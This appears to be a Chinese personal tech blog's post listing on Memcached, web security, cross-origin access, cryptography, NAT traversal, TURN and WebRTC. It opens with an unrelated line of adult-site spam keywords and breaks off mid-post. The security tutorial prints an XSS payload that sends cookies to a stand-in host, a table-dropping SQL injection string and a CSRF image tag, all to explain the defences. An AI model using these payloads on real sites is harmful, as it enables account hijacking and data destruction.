一本色道久久88亚洲综合,日韩精品亚洲专区在线观看,亚洲午夜久久久影院伊人

Web緩存技術-Memcached

互聯網上的應用、網站，隨著用戶的增長，功能的增強，會導致服務器超載，響應變慢等問題。緩存技術是減輕服務器壓力、加快服務響應時間、提升用戶體驗的有效途徑。Memcached是非常流行的緩存系統，這里介紹對Memcached的安裝、設定，以及在集群環境下的使用。

Memcached簡介

Memcached是一個開源、高性能、分布式的內存緩存系統，用于加速動態網站的訪問，減輕數據庫負載。

Memcached使用了Slab Allocator的機制分配、管理內存，解決了內存碎片的問題。

Memcached雖然可以在多線程模式下運行，但線程數通常只需設定為與CPU數量相同，這一點與Nginx的設定類似。

Memcached使用

安裝:

在CentOS下使用下面的命令安裝：

sudo yum install memcached

啟動：

memcached -m 100 -p 11211 -d -t 2 -c 1024 -P /tmp/memcached.pid

-m 指定使用的內存容量，單位MB，默認64MB。
-p 指定監聽的TCP端口，默認11211。
-d 以守護進程模式啟動。
-t 指定線程數，默認為4。
-c 最大客戶端連接數，默認為1024。
-P 保存PID文件。

關閉：

kill `cat /tmp/memcached.pid`

測試：

使用telnet連接memcached服務。

telnet localhost 11211

存儲命令格式：

set foo 0 0 4 abcd STORED  <command name> <key> <flags> <exptime> <bytes> <data block>  <command name> set, add, replace等 <key> 關鍵字 <flags> 整形參數，存儲客戶端對鍵值的額外信息，如值是壓縮的，是字符串，或JSON等 <exptime> 數據的存活時間，單位為秒，0表示永遠 <bytes> 存儲值的字節數 <data block> 存儲的數據內容

讀取命令格式：

get foo VALUE foo 0 4 abcd END  <command name> <key>  <command name> get, gets。gets比get多返回一個數字，這個數字檢查數據有沒有發生變化，當key對應的數據改變時，gets多返回的數字也會改變。 <key> 關鍵字  返回的數據格式：  VALUE <key> <flags> <bytes>

CAS(checked and set)：

cas foo 0 0 4 1 cdef STORED  cas <key> <flags> <exptime> <bytes> <version>  除最后的<version>外，其他參數與set, add等命令相同，<version>的值需要與gets獲取的值相同，否則無法更新。 incr, decr可對數字型數據進行原子增減操作。

全局統計信息

stats STAT pid 10218 STAT time 1432611519 STAT curr_connections 6 STAT total_connections 9 STAT connection_structures 7 STAT reserved_fds 10 STAT cmd_get 5 STAT cmd_set 1 STAT cmd_flush 0 STAT cmd_touch 0 STAT get_hits 3 STAT get_misses 2 STAT delete_misses 0 STAT delete_hits 0 ... END

Memcached集群

Memcached本身不做任何容錯處理，對故障節點的處理方式完全取決于客戶端。對Memcached的客戶端來說，不能使用普通的哈希算法（哈希取模）來尋找目標Server，因為這樣在有緩存節點失效時，會導致大面積緩存數據不可用。如下圖：

當Server3失效后，客戶端需要根據可用Server數量重新計算緩存的目標Server，這時，Key的哈希值為10的數據被指定為由Server1維護，這時原本Server2上可用的緩存也無效了。

一致性哈希算法

一致性哈希算法解決了在動態變化的緩存環境中，定位目標Server的問題，通常的實現可將它想像成一個閉合的環形。如下圖：

當有節點失效時，不會影響到正常工作的緩存服務器，只有原本分配到失效節點的緩存會被重新分配到下一個節點。如下圖：

微信訂閱號：
原文地址：http://blog.gopersist.com/2015/05/28/memcached/

posted @ 2015-05-31 17:18 老林閱讀(1575) | 評論 (2) | 編輯收藏

Web安全技術(4)-常見的攻擊和防御

對于一個Web應用來說，可能會面臨很多不同的攻擊。下面的內容將介紹一些常見的攻擊方法，以及面對這些攻擊的防御手段。

一、跨站腳本攻擊（XSS）

跨站腳本攻擊的英文全稱是Cross Site Script，為了和樣式表區分，縮寫為XSS。發生的原因是網站將用戶輸入的內容輸出到頁面上，在這個過程中可能有惡意代碼被瀏覽器執行。

跨站腳本攻擊可以分為兩種：

1). 反射型XSS

它是通過誘使用戶打開一個惡意鏈接，服務端將鏈接中參數的惡意代碼渲染到頁面中，再傳遞給用戶由瀏覽器執行，從而達到攻擊的目的。如下面的鏈接：

http://a.com/a.jsp?name=xss<script>alert(1)</script>

a.jsp將頁面渲染成下面的html：

Hello xss<script>alert(1)</script>

這時瀏覽器將會彈出提示框。

2). 持久型XSS

持久型XSS將惡意代碼提交給服務器，并且存儲在服務器端，當用戶訪問相關內容時再渲染到頁面中，以達到攻擊的目的，它的危害更大。

比如，攻擊者寫了一篇帶惡意JS代碼的博客，文章發表后，所有訪問該博客文章的用戶都會執行這段惡意JS。

Cookie劫持

Cookie中一般保存了當前用戶的登錄憑證，如果可以得到，往往意味著可直接進入用戶帳戶，而Cookie劫持也是最常見的XSS攻擊。以上面提過的反射型XSS的例子來說，可以像下面這樣操作：

首先誘使用戶打開下面的鏈接：

http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script>

用戶打開鏈接后，會加載b.js，并執行b.js中的代碼。b.js中存儲了以下JS代碼：

var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img);

上面的代碼會向b.com請求一張圖片，但實際上是將當前頁面的cookie發到了b.com的服務器上。這樣就完成了竊取cookie的過程。

防御Cookie劫持的一個簡單的方法是在Set-Cookie時加上HttpOnly標識，瀏覽器禁止JavaScript訪問帶HttpOnly屬性的Cookie。

XSS的防御

1). 輸入檢查

對輸入數據做檢查，比如用戶名只允許是字母和數字，郵箱必須是指定格式。一定要在后臺做檢查，否則數據可能繞過前端檢查直接發給服務器。一般前后端都做檢查，這樣前端可以擋掉大部分無效數據。

對特殊字符做編碼或過濾，但因為不知道輸出時的語境，所以可能會做不適當的過濾，最好是在輸出時具體情況具體處理。

2). 輸出檢查

對渲染到HTML中內容執行HtmlEncode，對渲染到JavaScript中的內容執行JavascriptEncode。

另外還可以使用一些做XSS檢查的開源項目。

二、SQL注入

SQL注入常常會聽到，它與XSS類似，是由于用戶提交的數據被當成命令來執行而造成的。下面是一個SQL注入的例子：

String sql = "select * from user where username = '" + username + "'";

像上面的SQL語句，如果用戶提交的username參數是leo，則數據庫執行的SQL為：

select * from user where username = 'leo'

但如果用戶提交的username參數是leo’; drop table user–，那執行的SQL為：

select * from user where username = 'leo'; drop table user--'

在查詢數據后，又執行了一個刪除表的操作，這樣的后果非常嚴重。

SQL注入的防御

防止SQL注入最好的方法是使用預編譯語句，如下面所示：

String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery();

不同語言的預編譯方法不同，但基本都可以處理。

如果遇到無法使用預編譯方法時，只能像防止XSS那樣對參數進行檢查和編碼。

三、跨站請求偽造（CSRF）

跨站請求偽造的英文全稱是Cross Site Request Forgery，是由于操作所需的所有參數都能被攻擊者得到，進而構造出一個偽造的請求，在用戶不知情的情況下被執行?？聪旅嬉粋€例子：

如果a.com網站需要用戶登錄后可以刪除博客，刪除博客的請求地址如下：

GET http://a.com/blog/delete?id=1

當用戶登錄a.com后，又打開了http://b.com/b.html，其中有下面的內容：

<img src="http://a.com/blog/delete?id=1"/>

這時會以用戶在a.com的身份發送http://a.com/blog/delete?id=1，刪除那篇博客。

CSRF的防御

驗證碼

CSRF是在用戶不知情的情況下構造的網絡情況，驗證碼則強制用戶與應用交互，所以驗證碼可以很好得防止CSRF。但不能什么請求都加驗證碼。

referer檢查

檢查請求header中的referer也能幫助防止CSRF攻擊，但服務器不是總能拿到referer，瀏覽器可能出于安全或隱私而不發送referer，所以也不常用。倒是圖片防盜鏈中用得很多。

Anti CSRF Token

更多的是生成一個隨機的token，在用戶提交數據的同時提交這個token，服務器端比對后如果不正確，則拒絕執行操作。

四、點擊劫持（ClickJacking）

點擊劫持是從視覺上欺騙用戶。攻擊者使用一個透明的iframe覆蓋在一個網頁上，誘使用戶在該網頁上操作，而實際點擊卻是點在透明的iframe頁面。

點擊劫持延伸出了很多攻擊方式，有圖片覆蓋攻擊、拖拽劫持等。

點擊劫持的防御

針對iframe的攻擊，可使用一個HTTP頭：X-Frame-Options，它有三種可選值：

DENY：禁止任何頁面的frame加載；
SAMEORIGIN：只有同源頁面的frame可加載；
ALLOW-FROM：可定義允許frame加載的頁面地址。

針對圖片覆蓋攻擊，則注意使用預防XSS的方法，防止HTML和JS注入。

微信訂閱號：
原文地址：http://blog.gopersist.com/2015/04/25/web-security-4/

posted @ 2015-04-25 15:40 老林閱讀(6289) | 評論 (2) | 編輯收藏

Web安全技術(3)-瀏覽器的跨域訪問

一、瀏覽器介紹

對于Web應用來說，瀏覽器是最重要的客戶端。

目前瀏覽器五花八門多得不得了，除了Chrome、IE、Firefox、Safari、Opera這些國外的瀏覽器外，百度、騰訊、360、淘寶、搜狗、傲游之類的，反正能做的都做了。

瀏覽器雖然這么多，但瀏覽器內核主要就以下4種：

Trident：IE使用的內核。
Gecko：Firefox使用的內核。
WebKit：Safair和Chrome使用的內核。WebKit由蘋果發明，Chrome也用了，但是Google又開發了V8引擎替換掉了WebKit中的Javascript引擎。
Presto：Opera使用的內核。

國內的瀏覽器基本都是雙核瀏覽器，使用基于WebKit的內核高速瀏覽常用網站，使用Trident內核兼容網銀等網站。

二、同源策略

同源策略是瀏覽器最基本的安全策略，它認為任何站點的內容都是不安全的，所以當腳本運行時，只被允許訪問來自同一站點的資源。

同源是指域名、協議、端口都相同。

如果沒有同源策略，就會發生下面這樣的問題：

惡意網站用一個iframe把真實的銀行登錄頁放到他的頁面上，當用戶使用用戶名密碼登錄時，父頁面的javascript就可以讀取到銀行登錄頁表單中的內容。
甚至瀏覽器的1個Tab頁打開了惡意網站，另一個Tab頁打開了銀行網站，惡意網站中的javascript可以讀取到銀行網站的內容。這樣銀行卡和密碼就能被輕易拿走。

三、跨域訪問

由于同源策略的原因，瀏覽器對跨域訪問做了很多限制，但有時我們的確需要做跨域訪問，那要怎么辦？主要有以下幾種情況：

1. iframe的跨域訪問

同域名下，父頁面可以通過document.getElementById(‘_iframe’).contentWindow.document訪問子頁面的內容，但不同域名下會出現類似下面的錯誤：

Uncaught SecurityError: Blocked a frame with origin “http://a.com” from accessing a frame with origin “http://b.com”. Protocols, domains, and ports must match.

有兩種解決方法：

1). 當主域名相同，子域名不同時，比較容易解決，只需設置相同的document.domain即可。

如http://a.a.com/a.html使用iframe載入http://b.a.com/b.html，且在a.html中有Javascript要修改b.html中元素的內容時，可以像下面的代碼那樣操作。

a.html

<html>
   <head>
     <script>
       document.domain = 'a.com';
       function changeIframeContent() {
         var _iframe = document.getElementById('_iframe');
         var _p = _iframe.contentWindow.document.getElementById('_p');
         _p.innerHTML = 'Content from a.html';
       }
     </script>
   </head>
   <body>
     <iframe id="_iframe" src="http://b.a.com/demo/iframe/subdomain/b.html"></iframe>
     <br>
     <input type="button" value="Change iframe content" onclick="changeIframeContent();"/>
   </body>
 </html>

b.html

<html>
   <head>
     <script>
       document.domain = 'a.com';
     </script>
   </head>
   <body>
     <p id="_p">b.html</p>
   </body>
 </html>

2). 當主域名不同時，就非常麻煩了。大致的方法像下面描述的那樣：

a.com下有a.html；
a.html創建iframe加載b.com下的b.html，可在加載b.html時通過?或#將參數傳遞到b.html中；
b.html加載后，可以通過提取location.search或location.hash中的內容獲取a.html傳過來的參數；
b.html創建一個iframe，加載a.com下的c.html，并且參數也通過?或#傳給c.html；
因為c.html和a.html是相同域名，所以c.html可以使用parent.parent訪問到a.html的對象，這樣也就可以將b.html需要傳遞的參數傳回到a.html中。

2. Ajax的跨域訪問

Ajax主要通過XMLHttpRequest對象實現，但是如果通過XMLHttpRequest訪問不同域名下的數據，瀏覽器會出現類似下面的錯誤：

XMLHttpRequest cannot load http://b.com/demo/iframe/ajax/b.html. No ‘Access-Control-Allow-Origin’ header is present on the requested resource. Origin ‘http://a.com’ is therefore not allowed access.

這時可由以下兩種方法解決：

1). 使用<script>代替XMLHttpRequest，也就是JSONP的方法。利用<script>標簽的src下加載的js不受同源策略限制，并且加載后的js運行在當前頁面的域下，所以可自由操作當前頁面的內容。

下面的代碼演示了在a.com下的a.html通過b.com下的b.js中的內容來更新自身的p標簽。

a.html

<html>
   <head>
     <script>
       function update_p (content) {
         document.getElementById("_p").innerHTML = content;
       }
       function getFromB() {
         var _script = document.createElement("script");
         _script.type = "text/javascript";
         _script.src = "http://b.com/demo/ajax/b.js";
         document.getElementsByTagName("head")[0].appendChild(_script);
       }
     </script>
   </head>
   <body>
     <p id="_p">a.html</p>
     <input type="button" value="Get from b.com" onclick="getFromB()"/>
   </body>
 </html>

b.js

update_p("content from b.js");

在實際使用中，通常a.html會將update_p以callback參數名傳遞給b.com的服務器，服務器動態生成數據后，再用callback參數值包起來作為響應回傳給a.html。

2). 在b.com的服務器返回信息中增加以下頭信息：

Access-Control-Allow-Origin: http://a.com
Access-Control-Allow-Methods: GET

此時瀏覽器便允許a.com讀取使用GET請求b.com的內容。

對于flash來說，會要求在網站根目錄下放一個名為crossdomain.xml的文件，以指明允許訪問的域名來源。文件中的內容類似下面的樣子：

<cross-domain-policy>
   <allow-access-from domain="*.a.com" />
 </cross-domain-policy>

3. 使用HTML5的postMessage方法實現跨域訪問

HTML5增加了跨文檔消息傳輸，下面的例子實現了使用postMessage在不同域間傳遞消息：

a.html

<html>
   <head>
     <script>
       function update_b () {
         var _iframe = document.getElementById("_iframe");
 	_iframe.contentWindow.postMessage("content from a.html", "http://b.com");
       }
     </script>
   <head>
   <body>
     <iframe id="_iframe" src="http://b.com/demo/html5/b.html"></iframe>
     <br>
     <input type="button" value="Update b.html" onclick="update_b()"></input>
   </body>
 </html>

b.html

<html>
   <head>
     <script>
       window.addEventListener("message", function (event) {
         document.getElementById("_p").innerHTML = event.data;
       }, false);
     </script>
   </head>
   <body>
     <p id="_p">b.html</p>
   </body>
 </html>

在postMessage中要指定接收方的域名，如果發現目標頁面的域名不正確，將拋出類似下面這樣的錯誤：

Failed to execute ‘postMessage’ on ‘DOMWindow’: The target origin provided (‘http://c.com’) does not match the recipient window’s origin (‘http://b.com’).

瀏覽器對跨域訪問的限制是出于安全考慮的，所以在使用一些方法實現跨域訪問時要特別小心。

微信訂閱號：
源文地址：http://blog.gopersist.com/2015/04/22/web-security-3/

posted @ 2015-04-22 00:15 老林閱讀(32131) | 評論 (6) | 編輯收藏

Web安全技術(2)-安全概述

一、安全的要素

信息安全的核心問題是要保障數據的合法使用者能夠在任何需要該數據時獲得保密的，沒有被非法更改過的數據。主要有以下幾要素：

機密性

保證數據內容不能泄露。
用戶的密碼用明文保存，就破壞了機密性。

完整性

保證數據內容不被篡改。
使用HTTP提交數據時，數據在傳輸過程中被篡改后再發往服務器，就破壞了完整性。

可用性

保證數據可被正常訪問和使用。
像拒絕服務攻擊（DoS）就是破壞了可用性。

最基本的安全要素就上面三個，下面還有一些其他的。

可審計性

記錄對數據產生的操作，用于日后的分析、審查。

不可抵賴性

首先要保證數據完整性，然后，在傳輸的數據中必須攜帶用于身份識別的信息，且這部分信息在不同主體間不能發生碰撞。

加密技術的使用

上一篇《Web安全技術(1)-對加密機制的理解》中提到了三類加密算法，可以應用于某些要素的安全保障。如下面的說明：

對稱加密

可保障機密性，對數據加密后存儲，可以使沒有密鑰的人員無法獲取數據內容。

非對稱加密

可以對數據進行加密解密操作，所以也能像對稱加密一樣保障機密性；
因為非對稱加密可以實現數字簽名，所以可以保證數據完整性。另外，由于是使用私鑰簽名，而私鑰只有數據發送方才有，所以如果公鑰可以驗簽成功，則發送方不可抵賴。

摘要加密

摘要算法可保障數據完整性。
在某些網站的軟件下載頁面里，有時除了下載地址，旁邊還會有一個MD5碼。這個MD5就是對下載的軟件做的摘要加密。在下載完成后，在本機對下載的軟件做MD5，然后和網站上顯示的MD5做比較，如果相同就表示軟件被成功下載，而且下載過程中軟件內容沒有被篡改。
在做系統時，我們也經常會對密碼做摘要加密后再保存，因為摘要加密的一個特性是不可逆，這樣通過數據庫中保存的加密后的密碼不可能還原成用戶的真實密碼。而用戶登錄時，只需將用戶提交的密碼再做摘要加密，然后與數據庫中保存的密碼比較，就能判斷用戶有沒有輸入正確的密碼。

二、風險分析

對于數據可能會遇到什么威脅，一般是拍腦袋想一想，也可以使用模型幫忙，下面是一個叫STRIDE的威脅模型：

如何評估風險？

數據受到威脅就可能造成損失，但損失有大有小，威脅發生的概率也有高有低，我們要結合具體情況來對風險做出判斷。有一個叫DREAD的模型，可以指導我們如何判斷威脅的風險程度。

每一個因素都分高、中、低三個等級，權重值分別為3、2、1。

當有一個威脅時，我們將它在每一個因素中的權重值相加，即可得出風險系數。

假如我們對風險系數范圍的定義如下：

高危：12~15分，中危：8~11分，低危：5~7分。

那如果以使用明文保存密碼為例，風險系數可能像下面這樣計算：

風險 = D(3) + R(1) + E(1) + A(3) + D(1) = 9分，這就是一個中危風險。

后續對威脅的處理，應當根據風險的大小和修復的難易程度做出平衡。

微信訂閱號：
源文地址：http://blog.gopersist.com/2015/04/17/web-security-2/

posted @ 2015-04-17 23:47 老林閱讀(5009) | 評論 (0) | 編輯收藏

Web安全技術(1)-對加密機制的理解

加密算法

數據加密算法有對稱加密、非對稱加密和信息摘要三類。

對稱加密是使用單個密鑰對數據進行加密和解密。有DES、AES、RC-5等算法。

非對稱加密是使用一對密鑰(公鑰和私鑰)對數據進行加密和解密。有RSA、ECC等算法。非對稱加密大概比對稱加密慢100倍以上。

通常的用法如下：

使用公鑰加密數據，使用私鑰解密數據。
使用私鑰簽名數據，使用公鑰驗證簽名。

信息摘要如果也算加密算法的話，它的加密過程不需要密鑰，并且經過加密的數據無法被解密，它是根據不定長的明文計算得到一段定長的數據。有MD5、SHA1等算法。

密鑰規范

規范太多，網上講得很亂，挑常用的按我的理解列一下。

密鑰格式：

X.509：通用的證書格式，包括公鑰信息、用戶標識、簽發信息等。
PKCS系統標準：美國RSA數據安全公司及其合作伙伴制定的一組公鑰密碼學標準。其中PKCS#8描述私有密鑰的信息格式，包括私鑰及可選的屬性集等。

密鑰存儲：

DER：二進制編碼。
PEM：ASCII編碼。

加密模式

塊密碼自身只能加密長度等于密碼塊長度的單塊數據，若要對變長數據進行加密，則必須事先將數據進行切分，而且最后一個數據塊需要適當的填充方式擴展到密碼塊的長度。加密模式即塊密碼的工作模式，就是使用這些方式用同一個密鑰對多于一塊的數據進行加密。

加密模式通常用于對稱加密，也可以用于非對稱加密。但非對稱加密通常不適合加密較長的信息，所以會使用混合加密代替。

ps: 以RSA和DES為例，混合加密通常使用DES先加密明文，再使用RSA的公鑰加密DES的密鑰，再將2個密文一起傳遞出去。接收方使用RSA的私鑰解密DES的密鑰信息，再使用DES的密鑰解密具體內容。

最簡單的加密模式是ECB（即電子密碼本）。其他還有CBC、PCBC、CFB等。

ECB和CBC需要對最后一塊進行填充，填充方法有很多種，最簡單的是先在明文的最后填充空字符，使明文長度為密碼塊長度的整數倍。

微信訂閱號：
源文地址：http://blog.gopersist.com/2015/04/08/crypto/

posted @ 2015-04-13 21:51 老林閱讀(4936) | 評論 (0) | 編輯收藏

Node.js的異步I/O

Linux操作系統的I/O模型

JAVA的NIO引入了異步I/O，而Node.js宣稱的就是異步編程，I/O自然是異步的。其實操作系統在很早就引入了異步I/O的概念，如下圖（摘自Unix網絡編程中的圖片）：

我對上圖的理解有幾點：

從IO設備讀取數據到用戶內存的整個過程都是由系統內核來完成；
數據總是先被拷貝到內核緩沖區，再由內核緩沖區拷貝到用戶內存；
除了異步I/O，其余4種I/O模型其實都是阻塞的，至少在數據從內核拷貝到用戶內存時是阻塞的；
雖然異步I/O看上去是理想解決方案，但實現上現在用得最多的應該是多路I/O復用，有select、poll、epoll的實現，性能最好的是epoll；
異步I/O現在被認為有缺陷，僅支持O_DIRECT而無法支持系統緩存。

Node.js中的異步I/O

因為內核中的異步I/O有缺陷，現實中的異步I/O通常由用戶態的線程池模擬完成，如下圖：

Node.js中原本使用了libeio異步I/O庫，在v0.9.3后改為自己實現的線程池來完成異步I/O。所以在Node.js中，除了用戶的Javascript代碼是單線程外，所有I/O都是多線程并行執行的。

Node.js中的異步I/O調用

Node.js通過事件循環的模式運行，在每一個循環的過程中，通過詢問一個或多個觀察者來判斷是否有事件要處理，而觀察者可以有文件I/O觀察者、網絡I/O觀察者等。

Node.js中異步I/O調用的大致流程如下：

發起I/O調用
1. 用戶通過Javascript代碼調用Node核心模塊，將參數和回調函數傳入到核心模塊；
2. Node核心模塊會將傳入的參數和回調函數封裝成一個請求對象；
3. 將這個請求對象推入到I/O線程池等待執行；
4. Javascript發起的異步調用結束，Javascript線程繼續執行后續操作。
執行回調
1. I/O操作完成后，會將結果儲存到請求對象的result屬性上，并發出操作完成的通知；
2. 每次事件循環時會檢查是否有完成的I/O操作，如果有就將請求對象加入到I/O觀察者隊列中，之后當做事件處理；
處理I/O觀察者事件時，會取出之前封裝在請求對象中的回調函數，執行這個回調函數，并將result當參數，以完成Javascript回調的目的。

微信訂閱號：
源文地址：
http://blog.gopersist.com/2015/03/09/aio/

posted @ 2015-04-13 21:42 老林閱讀(3972) | 評論 (0) | 編輯收藏

P2P中NAT之間的打洞可能性

我們看看不同NAT之間的NAT打洞。NAT打洞需要Server配合，需要2種Server：

1. 類似WebRTC中的信令服務器，作用是幫助客戶機溝通IP和PORT信息；

2. STUN Server，用來讓客戶機判斷自己所在的NAT環境。

現在假設客戶端和Server的通訊都沒問題，客戶端知道自己所處環境，并且將自己的信息通過服務器發送給了另一方客戶端，它們可能的打洞情況如下：

1. Full Cone NAT 與 Full Cone NAT：通訊很容易，各自通過STUN Server獲取外部IP和Port后，通過信令服務器通知另一方，即可通訊。

2. Full Cone NAT 與 Restricted Cone NAT或Port Restricted Cone NAT在互相告知IP和Port后，如果由Full Cone NAT端先發送數據包，會失敗，必須由Restricted Cone NAT或Port Restricted Cone NAT端先發送數據包給Full Cone NAT，之后雙方即可互相通訊。

3. Full Cone NAT 與 Symmetric NAT通訊時，必須先由Symmetric NAT端發送數據包給Full Cone NAT端，Full Cone NAT端通過發來的數據包獲得目標的新端口號，之后通過這個新端口號完成互相通訊。

4. Restricted Cone NAT 與 Restricted Cone NAT、Restricted Cone NAT 與 Port Restricted Cone NAT、Port Restricted Cone NAT 與 Port Restricted Cone NAT之間通訊時，先發送數據包的一方會失敗，之后另一方發送數據包成功后，可互相通訊。

5. Restricted Cone NAT 與 Symmetric NAT通訊時，先由Restricted Cone NAT發送數據包給Symmetric NAT，發送數據會失敗，只是為了下次能接收從Symmetric NAT端發送過來的數據包。然后由Symmetric NAT發送數據包到Restricted Cone NAT端，Restricted Cone NAT端會收到數據包，并且將新的端口號記下，使用新的端口號可與Symmetric NAT端通訊。

6. Port Restricted Cone NAT 與 Symmetric NAT通訊時，由于Port Restricted Cone NAT會對IP:PORT對進行限制，所以當Symmetric NAT端使用新PORT發來數據包時，Port Restricted Cone NAT端收不到，它們之間無法通訊。

7. Symmetric NAT 與 Symmetric NAT也無法通訊。

posted @ 2014-10-23 14:17 老林閱讀(6496) | 評論 (0) | 編輯收藏

針對UDP數據的4種NAT行為

針對收發UDP數據，NAT可分為Full Cone、Restricted Cone、Port Restricted Cone、Symmetric NAT四類，在RFC3489中有定義(http://datatracker.ietf.org/doc/rfc3489/?include_text=1)。

1. Full Cone：所有從相同的內部IP和PORT發出的請求都映射為相同的外部IP和PORT，而后任何外部主機只要發送數據包給NAT的IP和PORT就會被轉發給內部主機。

從圖中可以看到，只要內部主機通過NAT訪問了一次外部主機，在Mapping Table中會增加一條內部IP:Port映射到NAT的端口，那么外部的任何主機都可以通過NAT的IP:PORT將數據發給內部主機。

2. Restricted Cone：所有從相同的內部IP和PORT發出的請求都映射為相同的外部IP和PORT，但只有內部主機曾發送過數據的外部IP才可將數據包通過NAT的IP:PORT發給內部主機。

從圖中可以看到，因為內部主機沒有發過數據包給外部主機B，所以外部主機發到NAT的數據包無法發給內部主機。

3. Port Restricted Cone：和Restricted Cone類似，但是除了IP的限制外增加了PORT的限制，即只有內部主機曾發送過數據的外部IP:PORT才可將數據包通過NAT的IP:PORT發給內部主機。

從圖中可以看到，外部主機1用另一個PORT無法將數據發到內部主機。

4. Symmetric NAT：從內部主機相同的IP和PORT發出的請求，當訪問不同外部IP和PORT時，都會在NAT上創建不同的映射。

上圖中雖然內部IP和PORT相同，但訪問不同的外部IP/PORT對，都會映射為不同的NAT PORT。當外部主機發數據包給內部主機時，也只能使用對應的PORT。

posted @ 2014-10-23 13:56 老林閱讀(3314) | 評論 (0) | 編輯收藏

Ubuntu下安裝TURN Server (rfc5766-turn-server)

在使用WebRTC進行即時通訊時，需要使瀏覽器進行P2P通訊，但是由于NAT環境的復雜性，并不是所有情況下都能進行P2P，這時需要TURN Server來幫助客戶端之間轉發數據。rfc5766-turn-server是一個高性能的開源TURN Server實現。

以下是在EC2上使用Ubuntu操作系統安裝rfc5766-turn-server：

1. 下載安裝包：

$ wget http://ftp.cn.debian.org/debian/pool/main/r/rfc5766-turn-server/rfc5766-turn-server_3.2.4.4-1_amd64.deb

2. 安裝：

$ sudo apt-get update

$ sudo apt-get install gdebi-core

$ sudo gdebi rfc5766-turn-server_3.2.4.4-1_amd64.deb

安裝完后，在/usr/share/doc/rfc5766-turn-server下有很多文檔可參考。

3. 配置：

$ sudo vi /etc/turnserver.conf

---------------------------------------

// 配置IP，EC2下需要配置listening-ip和external-ip

listening-ip=172.31.4.37

external-ip=54.223.149.60

// 當TURN Server用于WebRTC時，必須使用long-term credential mechanism

lt-cred-mech

// 增加一個用戶

user=username1:password1

// 設定realm

realm=mycompany.org

---------------------------------------

4. 啟動：

sudo turnserver -c /etc/turnserver.conf --daemon

5. 服務啟動后，在上一個WebRTC示例中更改iceServers后測試：

"iceServers": [{

"url": "stun:stun.l.google.com:19302"

}, {

"url": "turn:54.223.149.60",

"username": "username1",

"credential": "password1"

}]

更多安裝信息在：http://turnserver.open-sys.org/downloads/v3.2.4.4/INSTALL

rfc5766-turn-server當然也有STUN Server的能力，但是需要給它配置2個IP，以幫助探測客戶端所在NAT環境的行為，這里沒有做。

posted @ 2014-10-22 14:23 老林閱讀(8388) | 評論 (3) | 編輯收藏

最簡單的WebRTC示例

在學習WebRTC時，網上的示例大多代碼較多，以下是參考那些代碼簡化的一個WebRTC一對一的示例，在chrome 37下測試通過。其中iceServer可省略，沒有iceServer時在同一個局域網下仍可通訊。

客戶端代碼：

<html>
<body>
    Local: <br>
    <video id="localVideo" autoplay></video><br>
    Remote: <br>
    <video id="remoteVideo" autoplay></video>

    <script>
        // 僅僅用于控制哪一端的瀏覽器發起offer，#號后面有值的一方發起
        var isCaller = window.location.href.split('#')[1];

        // 與信令服務器的WebSocket連接
        var socket = new WebSocket("ws://127.0.0.1:3000");

        // stun和turn服務器
        var iceServer = {
            "iceServers": [{
                "url": "stun:stun.l.google.com:19302"
            }, {
                "url": "turn:numb.viagenie.ca",
                "username": "webrtc@live.com",
                "credential": "muazkh"
            }]
        };

        // 創建PeerConnection實例 (參數為null則沒有iceserver，即使沒有stunserver和turnserver，仍可在局域網下通訊)
        var pc = new webkitRTCPeerConnection(iceServer);

        // 發送ICE候選到其他客戶端
        pc.onicecandidate = function(event){
            if (event.candidate !== null) {
                socket.send(JSON.stringify({
                    "event": "_ice_candidate",
                    "data": {
                        "candidate": event.candidate
                    }
                }));
            }
        };

        // 如果檢測到媒體流連接到本地，將其綁定到一個video標簽上輸出
        pc.onaddstream = function(event){
            document.getElementById('remoteVideo').src = URL.createObjectURL(event.stream);
        };

        // 發送offer和answer的函數，發送本地session描述
        var sendOfferFn = function(desc){
            pc.setLocalDescription(desc);
            socket.send(JSON.stringify({
                "event": "_offer",
                "data": {
                    "sdp": desc
                }
            }));
        },
        sendAnswerFn = function(desc){
            pc.setLocalDescription(desc);
            socket.send(JSON.stringify({
                "event": "_answer",
                "data": {
                    "sdp": desc
                }
            }));
        };

        // 獲取本地音頻和視頻流
        navigator.webkitGetUserMedia({
            "audio": true,
            "video": true
        }, function(stream){
            //綁定本地媒體流到video標簽用于輸出
            document.getElementById('localVideo').src = URL.createObjectURL(stream);
            //向PeerConnection中加入需要發送的流
            pc.addStream(stream);
            //如果是發起方則發送一個offer信令
            if(isCaller){
                pc.createOffer(sendOfferFn, function (error) {
                    console.log('Failure callback: ' + error);
                });
            }
        }, function(error){
            //處理媒體流創建失敗錯誤
            console.log('getUserMedia error: ' + error);
        });

        //處理到來的信令
        socket.onmessage = function(event){
            var json = JSON.parse(event.data);
            console.log('onmessage: ', json);
            //如果是一個ICE的候選，則將其加入到PeerConnection中，否則設定對方的session描述為傳遞過來的描述
            if( json.event === "_ice_candidate" ){
                pc.addIceCandidate(new RTCIceCandidate(json.data.candidate));
            } else {
                pc.setRemoteDescription(new RTCSessionDescription(json.data.sdp));
                // 如果是一個offer，那么需要回復一個answer
                if(json.event === "_offer") {
                    pc.createAnswer(sendAnswerFn, function (error) {
                        console.log('Failure callback: ' + error);
                    });
                }
            }
        };
    </script>
</body>
</html>

實現WebRTC時，信令服務器是必須的，它幫助客戶端之間進行溝通。
這里使用Node.js的ws模塊來實現一個WebSocket服務作為信令服務器。另外使用express模塊讓它提供html頁面的訪問。
server.js代碼如下：

使用npm安裝需要的模塊后使用node server.js啟動服務。
測試時使用Chrome瀏覽器：
第一個瀏覽器窗口訪問頁面：http://127.0.0.1:3000，在彈出的提示中允許使用攝像頭和麥克風。
第二個瀏覽器窗口訪問頁面：http://127.0.0.1:3000#true，#true表示它是一個發起方，在彈出的提示中同樣允許使用攝像頭和麥克風。
這時頁面中應當可以看到2個畫面，一個是本地的，一個是遠端的。

將代碼中的IP稍做調整后部署到外網，即可在2個不同的地點訪問這個頁面進行實時通訊。

微信訂閱號：

源文地址：http://blog.gopersist.com/2014/10/21/webrtc-simple/

posted @ 2014-10-21 17:21 老林閱讀(43352) | 評論 (6) | 編輯收藏

JAVA并發編程的理解

并發編程時，必須考慮安全性問題，即線程安全，所謂線程安全就是可以同時被多個線程調用，調用者無須額外的操作，程序也不會出現錯誤的結果。

要使程序是線程安全的，必須考慮以下2點：

